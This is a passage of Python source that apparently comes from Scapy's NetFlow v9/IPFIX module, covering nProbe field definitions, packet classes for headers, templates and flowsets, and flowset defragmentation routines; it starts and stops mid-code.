_N910F("LONGEST_FLOW_PKT"), 108 + NTOP_BASE: _N910F("SHORTEST_FLOW_PKT"), 109 + NTOP_BASE: _N910F("RETRANSMITTED_IN_PKTS"), 110 + NTOP_BASE: _N910F("RETRANSMITTED_OUT_PKTS"), 111 + NTOP_BASE: _N910F("OOORDER_IN_PKTS"), 112 + NTOP_BASE: _N910F("OOORDER_OUT_PKTS"), 113 + NTOP_BASE: _N910F("UNTUNNELED_PROTOCOL"), 114 + NTOP_BASE: _N910F("UNTUNNELED_IPV4_SRC_ADDR", length=4, field=IPField), 115 + NTOP_BASE: _N910F("UNTUNNELED_L4_SRC_PORT"), 116 + NTOP_BASE: _N910F("UNTUNNELED_IPV4_DST_ADDR", length=4, field=IPField), 117 + NTOP_BASE: _N910F("UNTUNNELED_L4_DST_PORT"), 118 + NTOP_BASE: _N910F("L7_PROTO"), 119 + NTOP_BASE: _N910F("L7_PROTO_NAME"), 120 + NTOP_BASE: _N910F("DOWNSTREAM_TUNNEL_ID"), 121 + NTOP_BASE: _N910F("FLOW_USER_NAME"), 122 + NTOP_BASE: _N910F("FLOW_SERVER_NAME"), 123 + NTOP_BASE: _N910F("CLIENT_NW_LATENCY_MS"), 124 + NTOP_BASE: _N910F("SERVER_NW_LATENCY_MS"), 125 + NTOP_BASE: _N910F("APPL_LATENCY_MS"), 126 + NTOP_BASE: _N910F("PLUGIN_NAME"), 127 + NTOP_BASE: _N910F("RETRANSMITTED_IN_BYTES"), 128 + NTOP_BASE: _N910F("RETRANSMITTED_OUT_BYTES"), 130 + NTOP_BASE: _N910F("SIP_CALL_ID"), 131 + NTOP_BASE: _N910F("SIP_CALLING_PARTY"), 132 + NTOP_BASE: _N910F("SIP_CALLED_PARTY"), 133 + NTOP_BASE: _N910F("SIP_RTP_CODECS"), 134 + NTOP_BASE: _N910F("SIP_INVITE_TIME"), 135 + NTOP_BASE: _N910F("SIP_TRYING_TIME"), 136 + NTOP_BASE: _N910F("SIP_RINGING_TIME"), 137 + NTOP_BASE: _N910F("SIP_INVITE_OK_TIME"), 138 + NTOP_BASE: _N910F("SIP_INVITE_FAILURE_TIME"), 139 + NTOP_BASE: _N910F("SIP_BYE_TIME"), 140 + NTOP_BASE: _N910F("SIP_BYE_OK_TIME"), 141 + NTOP_BASE: _N910F("SIP_CANCEL_TIME"), 142 + NTOP_BASE: _N910F("SIP_CANCEL_OK_TIME"), 143 + NTOP_BASE: _N910F("SIP_RTP_IPV4_SRC_ADDR", length=4, field=IPField), 144 + NTOP_BASE: _N910F("SIP_RTP_L4_SRC_PORT"), 145 + NTOP_BASE: _N910F("SIP_RTP_IPV4_DST_ADDR", length=4, field=IPField), 146 + NTOP_BASE: _N910F("SIP_RTP_L4_DST_PORT"), 147 + NTOP_BASE: _N910F("SIP_RESPONSE_CODE"), 148 + NTOP_BASE: _N910F("SIP_REASON_CAUSE"), 150 + NTOP_BASE: _N910F("RTP_FIRST_SEQ"), 151 + NTOP_BASE: _N910F("RTP_FIRST_TS"), 152 + NTOP_BASE: _N910F("RTP_LAST_SEQ"), 153 + NTOP_BASE: _N910F("RTP_LAST_TS"), 154 + NTOP_BASE: _N910F("RTP_IN_JITTER"), 155 + NTOP_BASE: _N910F("RTP_OUT_JITTER"), 156 + NTOP_BASE: _N910F("RTP_IN_PKT_LOST"), 157 + NTOP_BASE: _N910F("RTP_OUT_PKT_LOST"), 158 + NTOP_BASE: _N910F("RTP_OUT_PAYLOAD_TYPE"), 159 + NTOP_BASE: _N910F("RTP_IN_MAX_DELTA"), 160 + NTOP_BASE: _N910F("RTP_OUT_MAX_DELTA"), 161 + NTOP_BASE: _N910F("RTP_IN_PAYLOAD_TYPE"), 168 + NTOP_BASE: _N910F("SRC_PROC_PID"), 169 + NTOP_BASE: _N910F("SRC_PROC_NAME"), 180 + NTOP_BASE: _N910F("HTTP_URL"), 181 + NTOP_BASE: _N910F("HTTP_RET_CODE"), 182 + NTOP_BASE: _N910F("HTTP_REFERER"), 183 + NTOP_BASE: _N910F("HTTP_UA"), 184 + NTOP_BASE: _N910F("HTTP_MIME"), 185 + NTOP_BASE: _N910F("SMTP_MAIL_FROM"), 186 + NTOP_BASE: _N910F("SMTP_RCPT_TO"), 187 + NTOP_BASE: _N910F("HTTP_HOST"), 188 + NTOP_BASE: _N910F("SSL_SERVER_NAME"), 189 + NTOP_BASE: _N910F("BITTORRENT_HASH"), 195 + NTOP_BASE: _N910F("MYSQL_SRV_VERSION"), 196 + NTOP_BASE: _N910F("MYSQL_USERNAME"), 197 + NTOP_BASE: _N910F("MYSQL_DB"), 198 + NTOP_BASE: _N910F("MYSQL_QUERY"), 199 + NTOP_BASE: _N910F("MYSQL_RESPONSE"), 200 + NTOP_BASE: _N910F("ORACLE_USERNAME"), 201 + NTOP_BASE: _N910F("ORACLE_QUERY"), 202 + NTOP_BASE: _N910F("ORACLE_RSP_CODE"), 203 + NTOP_BASE: _N910F("ORACLE_RSP_STRING"), 204 + NTOP_BASE: _N910F("ORACLE_QUERY_DURATION"), 205 + NTOP_BASE: _N910F("DNS_QUERY"), 206 + NTOP_BASE: _N910F("DNS_QUERY_ID"), 207 + NTOP_BASE: _N910F("DNS_QUERY_TYPE"), 208 + NTOP_BASE: _N910F("DNS_RET_CODE"), 209 + NTOP_BASE: _N910F("DNS_NUM_ANSWERS"), 210 + NTOP_BASE: _N910F("POP_USER"), 220 + NTOP_BASE: _N910F("GTPV1_REQ_MSG_TYPE"), 221 + NTOP_BASE: _N910F("GTPV1_RSP_MSG_TYPE"), 222 + NTOP_BASE: _N910F("GTPV1_C2S_TEID_DATA"), 223 + NTOP_BASE: _N910F("GTPV1_C2S_TEID_CTRL"), 224 + NTOP_BASE: _N910F("GTPV1_S2C_TEID_DATA"), 225 + NTOP_BASE: _N910F("GTPV1_S2C_TEID_CTRL"), 226 + NTOP_BASE: _N910F("GTPV1_END_USER_IP"), 227 + NTOP_BASE: _N910F("GTPV1_END_USER_IMSI"), 228 + NTOP_BASE: _N910F("GTPV1_END_USER_MSISDN"), 229 + NTOP_BASE: _N910F("GTPV1_END_USER_IMEI"), 230 + NTOP_BASE: _N910F("GTPV1_APN_NAME"), 231 + NTOP_BASE: _N910F("GTPV1_RAI_MCC"), 232 + NTOP_BASE: _N910F("GTPV1_RAI_MNC"), 233 + NTOP_BASE: _N910F("GTPV1_ULI_CELL_LAC"), 234 + NTOP_BASE: _N910F("GTPV1_ULI_CELL_CI"), 235 + NTOP_BASE: _N910F("GTPV1_ULI_SAC"), 236 + NTOP_BASE: _N910F("GTPV1_RAT_TYPE"), 240 + NTOP_BASE: _N910F("RADIUS_REQ_MSG_TYPE"), 241 + NTOP_BASE: _N910F("RADIUS_RSP_MSG_TYPE"), 242 + NTOP_BASE: _N910F("RADIUS_USER_NAME"), 243 + NTOP_BASE: _N910F("RADIUS_CALLING_STATION_ID"), 244 + NTOP_BASE: _N910F("RADIUS_CALLED_STATION_ID"), 245 + NTOP_BASE: _N910F("RADIUS_NAS_IP_ADDR"), 246 + NTOP_BASE: _N910F("RADIUS_NAS_IDENTIFIER"), 247 + NTOP_BASE: _N910F("RADIUS_USER_IMSI"), 248 + NTOP_BASE: _N910F("RADIUS_USER_IMEI"), 249 + NTOP_BASE: _N910F("RADIUS_FRAMED_IP_ADDR"), 250 + NTOP_BASE: _N910F("RADIUS_ACCT_SESSION_ID"), 251 + NTOP_BASE: _N910F("RADIUS_ACCT_STATUS_TYPE"), 252 + NTOP_BASE: _N910F("RADIUS_ACCT_IN_OCTETS"), 253 + NTOP_BASE: _N910F("RADIUS_ACCT_OUT_OCTETS"), 254 + NTOP_BASE: _N910F("RADIUS_ACCT_IN_PKTS"), 255 + NTOP_BASE: _N910F("RADIUS_ACCT_OUT_PKTS"), 260 + NTOP_BASE: _N910F("IMAP_LOGIN"), 270 + NTOP_BASE: _N910F("GTPV2_REQ_MSG_TYPE"), 271 + NTOP_BASE: _N910F("GTPV2_RSP_MSG_TYPE"), 272 + NTOP_BASE: _N910F("GTPV2_C2S_S1U_GTPU_TEID"), 273 + NTOP_BASE: _N910F("GTPV2_C2S_S1U_GTPU_IP"), 274 + NTOP_BASE: _N910F("GTPV2_S2C_S1U_GTPU_TEID"), 275 + NTOP_BASE: _N910F("GTPV2_S2C_S1U_GTPU_IP"), 276 + NTOP_BASE: _N910F("GTPV2_END_USER_IMSI"), 277 + NTOP_BASE: _N910F("GTPV2_END_USER_MSISDN"), 278 + NTOP_BASE: _N910F("GTPV2_APN_NAME"), 279 + NTOP_BASE: _N910F("GTPV2_ULI_MCC"), 280 + NTOP_BASE: _N910F("GTPV2_ULI_MNC"), 281 + NTOP_BASE: _N910F("GTPV2_ULI_CELL_TAC"), 282 + NTOP_BASE: _N910F("GTPV2_ULI_CELL_ID"), 283 + NTOP_BASE: _N910F("GTPV2_RAT_TYPE"), 284 + NTOP_BASE: _N910F("GTPV2_PDN_IP"), 285 + NTOP_BASE: _N910F("GTPV2_END_USER_IMEI"), 290 + NTOP_BASE: _N910F("SRC_AS_PATH_1"), 291 + NTOP_BASE: _N910F("SRC_AS_PATH_2"), 292 + NTOP_BASE: _N910F("SRC_AS_PATH_3"), 293 + NTOP_BASE: _N910F("SRC_AS_PATH_4"), 294 + NTOP_BASE: _N910F("SRC_AS_PATH_5"), 295 + NTOP_BASE: _N910F("SRC_AS_PATH_6"), 296 + NTOP_BASE: _N910F("SRC_AS_PATH_7"), 297 + NTOP_BASE: _N910F("SRC_AS_PATH_8"), 298 + NTOP_BASE: _N910F("SRC_AS_PATH_9"), 299 + NTOP_BASE: _N910F("SRC_AS_PATH_10"), 300 + NTOP_BASE: _N910F("DST_AS_PATH_1"), 301 + NTOP_BASE: _N910F("DST_AS_PATH_2"), 302 + NTOP_BASE: _N910F("DST_AS_PATH_3"), 303 + NTOP_BASE: _N910F("DST_AS_PATH_4"), 304 + NTOP_BASE: _N910F("DST_AS_PATH_5"), 305 + NTOP_BASE: _N910F("DST_AS_PATH_6"), 306 + NTOP_BASE: _N910F("DST_AS_PATH_7"), 307 + NTOP_BASE: _N910F("DST_AS_PATH_8"), 308 + NTOP_BASE: _N910F("DST_AS_PATH_9"), 309 + NTOP_BASE: _N910F("DST_AS_PATH_10"), 320 + NTOP_BASE: _N910F("MYSQL_APPL_LATENCY_USEC"), 321 + NTOP_BASE: _N910F("GTPV0_REQ_MSG_TYPE"), 322 + NTOP_BASE: _N910F("GTPV0_RSP_MSG_TYPE"), 323 + NTOP_BASE: _N910F("GTPV0_TID"), 324 + NTOP_BASE: _N910F("GTPV0_END_USER_IP"), 325 + NTOP_BASE: _N910F("GTPV0_END_USER_MSISDN"), 326 + NTOP_BASE: _N910F("GTPV0_APN_NAME"), 327 + NTOP_BASE: _N910F("GTPV0_RAI_MCC"), 328 + NTOP_BASE: _N910F("GTPV0_RAI_MNC"), 329 + NTOP_BASE: _N910F("GTPV0_RAI_CELL_LAC"), 330 + NTOP_BASE: _N910F("GTPV0_RAI_CELL_RAC"), 331 + NTOP_BASE: _N910F("GTPV0_RESPONSE_CAUSE"), 332 + NTOP_BASE: _N910F("GTPV1_RESPONSE_CAUSE"), 333 + NTOP_BASE: _N910F("GTPV2_RESPONSE_CAUSE"), 334 + NTOP_BASE: _N910F("NUM_PKTS_TTL_5_32"), 335 + NTOP_BASE: _N910F("NUM_PKTS_TTL_32_64"), 336 + NTOP_BASE: _N910F("NUM_PKTS_TTL_64_96"), 337 + NTOP_BASE: _N910F("NUM_PKTS_TTL_96_128"), 338 + NTOP_BASE: _N910F("NUM_PKTS_TTL_128_160"), 339 + NTOP_BASE: _N910F("NUM_PKTS_TTL_160_192"), 340 + NTOP_BASE: _N910F("NUM_PKTS_TTL_192_224"), 341 + NTOP_BASE: _N910F("NUM_PKTS_TTL_224_255"), 342 + NTOP_BASE: _N910F("GTPV1_RAI_LAC"), 343 + NTOP_BASE: _N910F("GTPV1_RAI_RAC"), 344 + NTOP_BASE: _N910F("GTPV1_ULI_MCC"), 345 + NTOP_BASE: _N910F("GTPV1_ULI_MNC"), 346 + NTOP_BASE: _N910F("NUM_PKTS_TTL_2_5"), 347 + NTOP_BASE: _N910F("NUM_PKTS_TTL_EQ_1"), 348 + NTOP_BASE: _N910F("RTP_SIP_CALL_ID"), 349 + NTOP_BASE: _N910F("IN_SRC_OSI_SAP"), 350 + NTOP_BASE: _N910F("OUT_DST_OSI_SAP"), 351 + NTOP_BASE: _N910F("WHOIS_DAS_DOMAIN"), 352 + NTOP_BASE: _N910F("DNS_TTL_ANSWER"), 353 + NTOP_BASE: _N910F("DHCP_CLIENT_MAC", length=6, field=MACField), 354 + NTOP_BASE: _N910F("DHCP_CLIENT_IP", length=4, field=IPField), 355 + NTOP_BASE: _N910F("DHCP_CLIENT_NAME"), 356 + NTOP_BASE: _N910F("FTP_LOGIN"), 357 + NTOP_BASE: _N910F("FTP_PASSWORD"), 358 + NTOP_BASE: _N910F("FTP_COMMAND"), 359 + NTOP_BASE: _N910F("FTP_COMMAND_RET_CODE"), 360 + NTOP_BASE: _N910F("HTTP_METHOD"), 361 + NTOP_BASE: _N910F("HTTP_SITE"), 362 + NTOP_BASE: _N910F("SIP_C_IP"), 363 + NTOP_BASE: _N910F("SIP_CALL_STATE"), 364 + NTOP_BASE: _N910F("EPP_REGISTRAR_NAME"), 365 + NTOP_BASE: _N910F("EPP_CMD"), 366 + NTOP_BASE: _N910F("EPP_CMD_ARGS"), 367 + NTOP_BASE: _N910F("EPP_RSP_CODE"), 368 + NTOP_BASE: _N910F("EPP_REASON_STR"), 369 + NTOP_BASE: _N910F("EPP_SERVER_NAME"), 370 + NTOP_BASE: _N910F("RTP_IN_MOS"), 371 + NTOP_BASE: _N910F("RTP_IN_R_FACTOR"), 372 + NTOP_BASE: _N910F("SRC_PROC_USER_NAME"), 373 + NTOP_BASE: _N910F("SRC_FATHER_PROC_PID"), 374 + NTOP_BASE: _N910F("SRC_FATHER_PROC_NAME"), 375 + NTOP_BASE: _N910F("DST_PROC_PID"), 376 + NTOP_BASE: _N910F("DST_PROC_NAME"), 377 + NTOP_BASE: _N910F("DST_PROC_USER_NAME"), 378 + NTOP_BASE: _N910F("DST_FATHER_PROC_PID"), 379 + NTOP_BASE: _N910F("DST_FATHER_PROC_NAME"), 380 + NTOP_BASE: _N910F("RTP_RTT"), 381 + NTOP_BASE: _N910F("RTP_IN_TRANSIT"), 382 + NTOP_BASE: _N910F("RTP_OUT_TRANSIT"), 383 + NTOP_BASE: _N910F("SRC_PROC_ACTUAL_MEMORY"), 384 + NTOP_BASE: _N910F("SRC_PROC_PEAK_MEMORY"), 385 + NTOP_BASE: _N910F("SRC_PROC_AVERAGE_CPU_LOAD"), 386 + NTOP_BASE: _N910F("SRC_PROC_NUM_PAGE_FAULTS"), 387 + NTOP_BASE: _N910F("DST_PROC_ACTUAL_MEMORY"), 388 + NTOP_BASE: _N910F("DST_PROC_PEAK_MEMORY"), 389 + NTOP_BASE: _N910F("DST_PROC_AVERAGE_CPU_LOAD"), 390 + NTOP_BASE: _N910F("DST_PROC_NUM_PAGE_FAULTS"), 391 + NTOP_BASE: _N910F("DURATION_IN"), 392 + NTOP_BASE: _N910F("DURATION_OUT"), 393 + NTOP_BASE: _N910F("SRC_PROC_PCTG_IOWAIT"), 394 + NTOP_BASE: _N910F("DST_PROC_PCTG_IOWAIT"), 395 + NTOP_BASE: _N910F("RTP_DTMF_TONES"), 396 + NTOP_BASE: _N910F("UNTUNNELED_IPV6_SRC_ADDR", length=16, field=IP6Field), 397 + NTOP_BASE: _N910F("UNTUNNELED_IPV6_DST_ADDR", length=16, field=IP6Field), 398 + NTOP_BASE: _N910F("DNS_RESPONSE"), 399 + NTOP_BASE: _N910F("DIAMETER_REQ_MSG_TYPE"), 400 + NTOP_BASE: _N910F("DIAMETER_RSP_MSG_TYPE"), 401 + NTOP_BASE: _N910F("DIAMETER_REQ_ORIGIN_HOST"), 402 + NTOP_BASE: _N910F("DIAMETER_RSP_ORIGIN_HOST"), 403 + NTOP_BASE: _N910F("DIAMETER_REQ_USER_NAME"), 404 + NTOP_BASE: _N910F("DIAMETER_RSP_RESULT_CODE"), 405 + NTOP_BASE: _N910F("DIAMETER_EXP_RES_VENDOR_ID"), 406 + NTOP_BASE: _N910F("DIAMETER_EXP_RES_RESULT_CODE"), 407 + NTOP_BASE: _N910F("S1AP_ENB_UE_S1AP_ID"), 408 + NTOP_BASE: _N910F("S1AP_MME_UE_S1AP_ID"), 409 + NTOP_BASE: _N910F("S1AP_MSG_EMM_TYPE_MME_TO_ENB"), 410 + NTOP_BASE: _N910F("S1AP_MSG_ESM_TYPE_MME_TO_ENB"), 411 + NTOP_BASE: _N910F("S1AP_MSG_EMM_TYPE_ENB_TO_MME"), 412 + NTOP_BASE: _N910F("S1AP_MSG_ESM_TYPE_ENB_TO_MME"), 413 + NTOP_BASE: _N910F("S1AP_CAUSE_ENB_TO_MME"), 414 + NTOP_BASE: _N910F("S1AP_DETAILED_CAUSE_ENB_TO_MME"), 415 + NTOP_BASE: _N910F("TCP_WIN_MIN_IN"), 416 + NTOP_BASE: _N910F("TCP_WIN_MAX_IN"), 417 + NTOP_BASE: _N910F("TCP_WIN_MSS_IN"), 418 + NTOP_BASE: _N910F("TCP_WIN_SCALE_IN"), 419 + NTOP_BASE: _N910F("TCP_WIN_MIN_OUT"), 420 + NTOP_BASE: _N910F("TCP_WIN_MAX_OUT"), 421 + NTOP_BASE: _N910F("TCP_WIN_MSS_OUT"), 422 + NTOP_BASE: _N910F("TCP_WIN_SCALE_OUT"), 423 + NTOP_BASE: _N910F("DHCP_REMOTE_ID"), 424 + NTOP_BASE: _N910F("DHCP_SUBSCRIBER_ID"), 425 + NTOP_BASE: _N910F("SRC_PROC_UID"), 426 + NTOP_BASE: _N910F("DST_PROC_UID"), 427 + NTOP_BASE: _N910F("APPLICATION_NAME"), 428 + NTOP_BASE: _N910F("USER_NAME"), 429 + NTOP_BASE: _N910F("DHCP_MESSAGE_TYPE"), 430 + NTOP_BASE: _N910F("RTP_IN_PKT_DROP"), 431 + NTOP_BASE: _N910F("RTP_OUT_PKT_DROP"), 432 + NTOP_BASE: _N910F("RTP_OUT_MOS"), 433 + NTOP_BASE: _N910F("RTP_OUT_R_FACTOR"), 434 + NTOP_BASE: _N910F("RTP_MOS"), 435 + NTOP_BASE: _N910F("GTPV2_S5_S8_GTPC_TEID"), 436 + NTOP_BASE: _N910F("RTP_R_FACTOR"), 437 + NTOP_BASE: _N910F("RTP_SSRC"), 438 + NTOP_BASE: _N910F("PAYLOAD_HASH"), 439 + NTOP_BASE: _N910F("GTPV2_C2S_S5_S8_GTPU_TEID"), 440 + NTOP_BASE: _N910F("GTPV2_S2C_S5_S8_GTPU_TEID"), 441 + NTOP_BASE: _N910F("GTPV2_C2S_S5_S8_GTPU_IP"), 442 + NTOP_BASE: _N910F("GTPV2_S2C_S5_S8_GTPU_IP"), 443 + NTOP_BASE: _N910F("SRC_AS_MAP"), 444 + NTOP_BASE: _N910F("DST_AS_MAP"), 445 + NTOP_BASE: _N910F("DIAMETER_HOP_BY_HOP_ID"), 446 + NTOP_BASE: _N910F("UPSTREAM_SESSION_ID"), 447 + NTOP_BASE: _N910F("DOWNSTREAM_SESSION_ID"), 448 + NTOP_BASE: _N910F("SRC_IP_LONG"), 449 + NTOP_BASE: _N910F("SRC_IP_LAT"), 450 + NTOP_BASE: _N910F("DST_IP_LONG"), 451 + NTOP_BASE: _N910F("DST_IP_LAT"), 452 + NTOP_BASE: _N910F("DIAMETER_CLR_CANCEL_TYPE"), 453 + NTOP_BASE: _N910F("DIAMETER_CLR_FLAGS"), 454 + NTOP_BASE: _N910F("GTPV2_C2S_S5_S8_GTPC_IP"), 455 + NTOP_BASE: _N910F("GTPV2_S2C_S5_S8_GTPC_IP"), 456 + NTOP_BASE: _N910F("GTPV2_C2S_S5_S8_SGW_GTPU_TEID"), 457 + NTOP_BASE: _N910F("GTPV2_S2C_S5_S8_SGW_GTPU_TEID"), 458 + NTOP_BASE: _N910F("GTPV2_C2S_S5_S8_SGW_GTPU_IP"), 459 + NTOP_BASE: _N910F("GTPV2_S2C_S5_S8_SGW_GTPU_IP"), 460 + NTOP_BASE: _N910F("HTTP_X_FORWARDED_FOR"), 461 + NTOP_BASE: _N910F("HTTP_VIA"), 462 + NTOP_BASE: _N910F("SSDP_HOST"), 463 + NTOP_BASE: _N910F("SSDP_USN"), 464 + NTOP_BASE: _N910F("NETBIOS_QUERY_NAME"), 465 + NTOP_BASE: _N910F("NETBIOS_QUERY_TYPE"), 466 + NTOP_BASE: _N910F("NETBIOS_RESPONSE"), 467 + NTOP_BASE: _N910F("NETBIOS_QUERY_OS"), 468 + NTOP_BASE: _N910F("SSDP_SERVER"), 469 + NTOP_BASE: _N910F("SSDP_TYPE"), 470 + NTOP_BASE: _N910F("SSDP_METHOD"), 471 + NTOP_BASE: _N910F("NPROBE_IPV4_ADDRESS", length=4, field=IPField), } NetflowV910TemplateFieldTypes = { k: v.name for k, v in NetflowV910TemplateFields.items() } ScopeFieldTypes = { 1: "System", 2: "Interface", 3: "Line card", 4: "Cache", 5: "Template", } class NetflowHeaderV9(Packet): name = "Netflow Header V9" fields_desc = [ShortField("count", None), IntField("sysUptime", 0), UTCTimeField("unixSecs", None), IntField("packageSequence", 0), IntField("SourceID", 0)] def post_build(self, pkt, pay): def count_by_layer(layer): if type(layer) == NetflowFlowsetV9: return len(layer.templates) elif type(layer) == NetflowDataflowsetV9: return len(layer.records) elif type(layer) == NetflowOptionsFlowsetV9: return 1 else: return 0 if self.count is None: # https://www.rfc-editor.org/rfc/rfc3954#section-5.1 count = sum( sum(count_by_layer(self.getlayer(layer_cls, nth)) for nth in range(1, n + 1)) for layer_cls, n in Counter(self.layers()).items() ) pkt = struct.pack("!H", count) + pkt[2:] return pkt + pay # https://tools.ietf.org/html/rfc5655#appendix-B.1.1 class NetflowHeaderV10(Packet): """IPFix (Netflow V10) Header""" name = "IPFix (Netflow V10) Header" fields_desc = [ShortField("length", None), UTCTimeField("ExportTime", 0), IntField("flowSequence", 0), IntField("ObservationDomainID", 0)] def post_build(self, pkt, pay): if self.length is None: length = len(pkt) + len(pay) pkt = struct.pack("!H", length) + pkt[2:] return pkt + pay class NetflowTemplateFieldV9(Packet): name = "Netflow Flowset Template Field V9/10" fields_desc = [BitField("enterpriseBit", 0, 1), BitEnumField("fieldType", None, 15, NetflowV910TemplateFieldTypes), ShortField("fieldLength", None), ConditionalField(IntField("enterpriseNumber", 0), lambda p: p.enterpriseBit)] def __init__(self, *args, **kwargs): Packet.__init__(self, *args, **kwargs) if (self.fieldType is not None and self.fieldLength is None and self.fieldType in NetflowV910TemplateFields): self.fieldLength = NetflowV910TemplateFields[ self.fieldType ].length or None def default_payload_class(self, p): return conf.padding_layer class NetflowTemplateV9(Packet): name = "Netflow Flowset Template V9/10" fields_desc = [ShortField("templateID", 255), FieldLenField("fieldCount", None, count_of="template_fields"), # noqa: E501 PacketListField("template_fields", [], NetflowTemplateFieldV9, # noqa: E501 count_from=lambda pkt: pkt.fieldCount)] def default_payload_class(self, p): return conf.padding_layer class NetflowFlowsetV9(Packet): name = "Netflow FlowSet V9/10" fields_desc = [ShortField("flowSetID", 0), FieldLenField("length", None, length_of="templates", adjust=lambda pkt, x:x + 4), PacketListField("templates", [], NetflowTemplateV9, length_from=lambda pkt: pkt.length - 4)] class _CustomStrFixedLenField(StrFixedLenField): def i2repr(self, pkt, v): return repr(v) def _GenNetflowRecordV9(cls, lengths_list): """ Internal function used to generate the Records from their template. """ _fields_desc = [] for j, k in lengths_list: # For each field, if it's known in our template list, # try to make a nice field for it. Otherwise use an integer # or a string default. _f_type = None _f_kwargs = {} _f_isint = False if k in NetflowV910TemplateFields: _f = NetflowV910TemplateFields[k] _f_type = _f.field _f_kwargs = _f.kwargs _f_isint = _f.isint if _f_type: if issubclass(_f_type, _AdjustableNetflowField): _f_kwargs["length"] = j _fields_desc.append( _f_type( NetflowV910TemplateFieldTypes.get(k, "unknown_data"), 0, **_f_kwargs ) ) elif _f_isint: _fields_desc.append( NBytesField( NetflowV910TemplateFieldTypes.get(k, "unknown_data"), 0, sz=j ) ) else: _fields_desc.append( _CustomStrFixedLenField( NetflowV910TemplateFieldTypes.get(k, "unknown_data"), b"", length=j ) ) # This will act exactly like a NetflowRecordV9, but has custom fields class NetflowRecordV9I(cls): fields_desc = _fields_desc match_subclass = True NetflowRecordV9I.name = cls.name NetflowRecordV9I.__name__ = cls.__name__ return NetflowRecordV9I def GetNetflowRecordV9(flowset, templateID=None): """ Get a NetflowRecordV9/10 for a specific NetflowFlowsetV9/10. Have a look at the online doc for examples. """ definitions = {} for ntv9 in flowset.templates: llist = [] for tmpl in ntv9.template_fields: llist.append((tmpl.fieldLength, tmpl.fieldType)) if llist: cls = _GenNetflowRecordV9(NetflowRecordV9, llist) definitions[ntv9.templateID] = cls if not definitions: raise Scapy_Exception( "No template IDs detected" ) if len(definitions) > 1: if templateID is None: raise Scapy_Exception( "Multiple possible templates ! Specify templateID=.." ) return definitions[templateID] else: return list(definitions.values())[0] class NetflowRecordV9(Packet): name = "Netflow DataFlowset Record V9/10" fields_desc = [StrField("fieldValue", "")] def default_payload_class(self, p): return conf.padding_layer class NetflowDataflowsetV9(Packet): name = "Netflow DataFlowSet V9/10" fields_desc = [ShortField("templateID", 255), ShortField("length", None), PacketListField( "records", [], NetflowRecordV9, length_from=lambda pkt: pkt.length - 4)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: # https://tools.ietf.org/html/rfc5655#appendix-B.1.2 # NetflowV9 if _pkt[:2] == b"\x00\x00": return NetflowFlowsetV9 if _pkt[:2] == b"\x00\x01": return NetflowOptionsFlowsetV9 # IPFix if _pkt[:2] == b"\x00\x02": return NetflowFlowsetV9 if _pkt[:2] == b"\x00\x03": return NetflowOptionsFlowset10 return cls def post_build(self, pkt, pay): if self.length is None: # Padding is optional, let's apply it on build length = len(pkt) pad = (-length) % 4 pkt = pkt[:2] + struct.pack("!H", length + pad) + pkt[4:] pkt += b"\x00" * pad return pkt + pay def _netflowv9_defragment_packet(pkt, definitions, definitions_opts, ignored): """Used internally to process a single packet during defragmenting""" # Dataflowset definitions if NetflowFlowsetV9 in pkt: current = pkt while NetflowFlowsetV9 in current: current = current[NetflowFlowsetV9] for ntv9 in current.templates: llist = [] for tmpl in ntv9.template_fields: llist.append((tmpl.fieldLength, tmpl.fieldType)) if llist: tot_len = sum(x[0] for x in llist) cls = _GenNetflowRecordV9(NetflowRecordV9, llist) definitions[ntv9.templateID] = (tot_len, cls) current = current.payload # Options definitions if NetflowOptionsFlowsetV9 in pkt: current = pkt while NetflowOptionsFlowsetV9 in current: current = current[NetflowOptionsFlowsetV9] # Load scopes llist = [] for scope in current.scopes: llist.append(( scope.scopeFieldlength, scope.scopeFieldType )) scope_tot_len = sum(x[0] for x in llist) scope_cls = _GenNetflowRecordV9( NetflowOptionsRecordScopeV9, llist ) # Load options llist = [] for opt in current.options: llist.append(( opt.optionFieldlength, opt.optionFieldType )) option_tot_len = sum(x[0] for x in llist) option_cls = _GenNetflowRecordV9( NetflowOptionsRecordOptionV9, llist ) # Storage definitions_opts[current.templateID] = ( scope_tot_len, scope_cls, option_tot_len, option_cls ) current = current.payload # Dissect flowsets if NetflowDataflowsetV9 in pkt: current = pkt while NetflowDataflowsetV9 in current: datafl = current[NetflowDataflowsetV9] tid = datafl.templateID if tid not in definitions and tid not in definitions_opts: ignored.add(tid) return # All data is stored in one record, awaiting to be split # If fieldValue is available, the record has not been # defragmented: pop it try: data = datafl.records[0].fieldValue datafl.records.pop(0) except (IndexError, AttributeError): return res = [] # Flowset record # Now, according to the flow/option data, # let's re-dissect NetflowDataflowsetV9 if tid in definitions: tot_len, cls = definitions[tid] while len(data) >= tot_len: res.append(cls(data[:tot_len])) data = data[tot_len:] # Inject dissected data datafl.records = res if data: if len(data) <= 4: datafl.add_payload(conf.padding_layer(data)) else: datafl.do_dissect_payload(data) # Options elif tid in definitions_opts: (scope_len, scope_cls, option_len, option_cls) = definitions_opts[tid] # Dissect scopes if scope_len: res.append(scope_cls(data[:scope_len])) if option_len: res.append( option_cls(data[scope_len:scope_len + option_len]) ) if len(data) > scope_len + option_len: res.append( conf.padding_layer(data[scope_len + option_len:]) ) # Inject dissected data datafl.records = res datafl.name = "Netflow DataFlowSet V9/10 - OPTIONS" current = datafl.payload def netflowv9_defragment(plist, verb=1): """Process all NetflowV9/10 Packets to match IDs of the DataFlowsets with the Headers params: - plist: the list of mixed NetflowV9/10 packets. - verb: verbose print (0/1) """ if not isinstance(plist, (PacketList, list)): plist = [plist] # We need the whole packet to be dissected to access field def in # NetflowFlowsetV9 or NetflowOptionsFlowsetV9/10 definitions = {} definitions_opts = {} ignored = set() # Iterate through initial list for pkt in plist: _netflowv9_defragment_packet(pkt, definitions, definitions_opts, ignored) if conf.verb >= 1 and ignored: warning("Ignored templateIDs (missing): %s" % list(ignored)) return plist def ipfix_defragment(*args, **kwargs): """Alias for netflowv9_defragment""" return netflowv9_defragment(*args, **kwargs) class NetflowSession(IPSession): """Session used to defragment NetflowV9/10 packets on the flow. See help(scapy.layers.netflow) for more infos. """ def __init__(self, *args, **kwargs): self.definitions = {} self.definitions_opts = {} self.ignored = set() super(NetflowSession, self).__init__(*args, **kwargs) def process(self, pkt: Packet) -> Optional[Packet]: pkt = super(NetflowSession, self).process(pkt) if not pkt: return _netflowv9_defragment_packet(pkt, self.definitions, self.definitions_opts, self.ignored) return pkt class NetflowOptionsRecordScopeV9(NetflowRecordV9): name = "Netflow Options Template Record V9/10 - Scope" class 